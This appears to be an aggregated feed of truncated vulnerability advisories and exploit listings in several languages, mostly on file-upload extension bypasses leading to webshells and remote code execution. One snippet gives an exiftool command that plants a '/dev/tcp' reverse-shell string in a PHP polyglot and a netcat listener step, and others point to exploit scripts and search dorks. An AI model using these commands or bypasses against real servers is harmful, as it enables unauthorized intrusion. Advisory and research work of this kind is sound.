CVE-2026-53966

XWiki Platform is a generic wiki platform. From 13.4-rc-1 until 16.10.17, 17.4.10, 17.10.4, and 18.1.0-rc-1, the Live Data edit REST API allows a user who can edit a page to change that page's rights without executing the normal document-saving authorization checks. The user can grant script righ...

ResponsiveFileManager-CVE-2022-46604

ResponsiveFileManager-CVE-2022-46604 Responsive FileManager v.9.9.5 は、CVE-2022-46604（RCE につながるファイル作成時の拡張子バイパス）に対して脆弱です。 現在のエクスプロイトは Python 3 で作成されており、この脆弱性を悪用してウェブシェルをアップロードすることで、脆弱なホスト上でのリモートコマンド実行を可能にします。 参照 Exploit Database Exploit-DB: https://www.exploit-db.com/exploits/51251 Packet Storm...

CVE-2023-24610

CVE-2023-24610 これはCVE-2023-24610の概念実証（PoC）です まず、exiftoolを使ってポリグロットファイルを作成します: exiftool -Comment="/dev/tcp/172.17.0.1/8888 " avatar.png -o polyglot.php ファイルをPNGに変更して、フロントエンドのチェックを通過できるようにします その後、ポート8888でncリスナーを起動し、シェルを受信します。 次のステップとして、アプリケーションにログインし、setupをクリックします...

CVE-2017-12615

纪念Chia Junyuan https://packetstormsecurity.com/files/author/11924/ POC CVE-2017-12615 在Windows上运行的Apache Tomcat 7.0.0至7.0.79的POC漏洞利用；CVE-2017-12615 PUT JSP漏洞。 描述： 根据设计，不允许通过PUT方法向Apache Tomcat服务器上传JSP文件。 这很可能是一项安全措施，防止攻击者上传JSP后门并在服务器上获取远程代码执行权限。 然而，由于检查不充分，攻击者可以在启用了PUT的7.0.0至79...

CVE-2022-29464

CVE-2022-29464 CVE-2022-29464는 오픈소스 ID 및 접근 관리 플랫폼인 WSO2 Identity Server의 심각한 취약점입니다. 이 취약점을 통해 원격 공격자는 관리자 권한으로 대상 시스템에서 임의의 명령을 실행할 수 있는 악성 JSP 파일을 업로드할 수 있습니다. 파일 확장자 검증 메커니즘을 우회하여 악용되는 파일 업로드 기능 문제입니다. 이 취약점은 심각도를 나타내는 CVSS 점수 9.8을 할당받았습니다. 예시 Dorks root@kitploit: title:"WSO2 Carbon Server"...

CVE-2024-21546

UniSharp Laravel Filemanager 未認証RCE CVE-2024-21546 このリポジトリには、UniSharp/laravel-filemanager パッケージ（バージョン file-getClientOriginalExtension; if inarray$extension, $unallowedextensions throw new \Exception'File extension is not allowed.'; return $this; 攻撃者が poc.php. という名前のファイルをアップロードした場合： Symfonyの...

CVE-2026-84803 SiYuan before v3.8.2 Stored XSS via incomplete asset blocklist

SiYuan before v3.8.2 contains a stored cross-site scripting vulnerability in asset serving due to an incomplete extension blocklist that misses script-capable file types. Attackers can upload files with extensions like .xht, .ehtml, .xsl, .xbl, or .rdf that resolve to executable media types and...

Astra Linux – Vulnerability in Chromium

The inappropriate implementation of the Extensions API in Google Chrome prior to version 103.0.5060.53 allowed an attacker who convinced a user to install a malicious extension to bypass discretionary access control through a crafted HTML page...

Blocksy Companion 2.1.46 Shell Upload

Blocksy Companion version 2.1.46 suffers from an unauthenticated arbitrary file upload and double-extension bypass that allows for shell uploads. !/usr/bin/env python3 Exploit Title: Blocksy Companion 2.1.46 - RCE CVE: CVE-2026-58480 Date: 2026-07-13 Exploit Author: Mohammed Idrees Banyamer Autho...

EUVD-2026-51626

REDAXO is a PHP-based content management system. From 5.18.2 until 5.21.1, rexmediapool::isAllowedExtension in redaxo/src/addons/mediapool/lib/mediapool.php lets an authenticated backend user with mediaupload permission upload a JPEG/PHP polyglot named shell.php.any.jpg, which web servers with...

CVE-2026-63223 CodeIgniter: Uploaded file extension validation bypass in is_image and mime_in rules

CodeIgniter is a PHP full-stack web framework. Prior to 4.7.4, the isimage and mimein upload validation rules do not independently enforce a safe client filename extension, allowing a remote attacker to upload executable content when an application preserves the client filename and stores uploads...

Arbitrary File Upload

Overview Affected versions of this package are vulnerable to Arbitrary File Upload through the web release edit process. An attacker can bypass configured file extension restrictions by renaming existing release attachments to forbidden extensions via the web interface, allowing the distribution ...

Arbitrary File Upload

Overview Affected versions of this package are vulnerable to Arbitrary File Upload through the web release edit process. An attacker can bypass configured file extension restrictions by renaming existing release attachments to forbidden extensions via the web interface, allowing the distribution ...

Arbitrary File Upload

Overview Affected versions of this package are vulnerable to Arbitrary File Upload through the web release edit process. An attacker can bypass configured file extension restrictions by renaming existing release attachments to forbidden extensions via the web interface, allowing the distribution ...

Arbitrary File Upload

Overview Affected versions of this package are vulnerable to Arbitrary File Upload through the web release edit process. An attacker can bypass configured file extension restrictions by renaming existing release attachments to forbidden extensions via the web interface, allowing the distribution ...

Arbitrary File Upload

Overview Affected versions of this package are vulnerable to Arbitrary File Upload through the web release edit process. An attacker can bypass configured file extension restrictions by renaming existing release attachments to forbidden extensions via the web interface, allowing the distribution ...

Arbitrary File Upload

Overview Affected versions of this package are vulnerable to Arbitrary File Upload through the web release edit process. An attacker can bypass configured file extension restrictions by renaming existing release attachments to forbidden extensions via the web interface, allowing the distribution ...

GHSA-937X-GPQR-72GG Flask-Reuploaded: Extension-denylist bypass via case-folding asymmetry in name-override path (incomplete-fix variant of CVE-2026-27641)

Header | Field | Value | |---|---| | Title | Extension-denylist bypass via case-folding asymmetry in name-override path incomplete-fix variant of CVE-2026-27641 | | Project | Flask-Reuploaded flaskuploads | | Affected | extension"shell.php" = "php" - extensionallowed"php" - DENY correct...

EUVD-2026-45118

Grav before 2.0.4 ships a default .htaccess and reference webserver-configs/htaccess.txt whose rules blocking access to sensitive file types .yaml, .php, .json, etc. lack the NC flag, making extension matching case-sensitive. On case-insensitive filesystems Windows/NTFS, macOS/HFS+, or Docker...

CVE-2026-49972

CVE-2026-49972 affects Laravel-Mediable prior to 7.0.0. A file upload vulnerability enables unauthenticated remote code execution via a double extension (e.g., shell.php.jpg). The attacker relies on PATHINFO_FILENAME preserving the inner .php extension in the base name, and on misconfigured serve...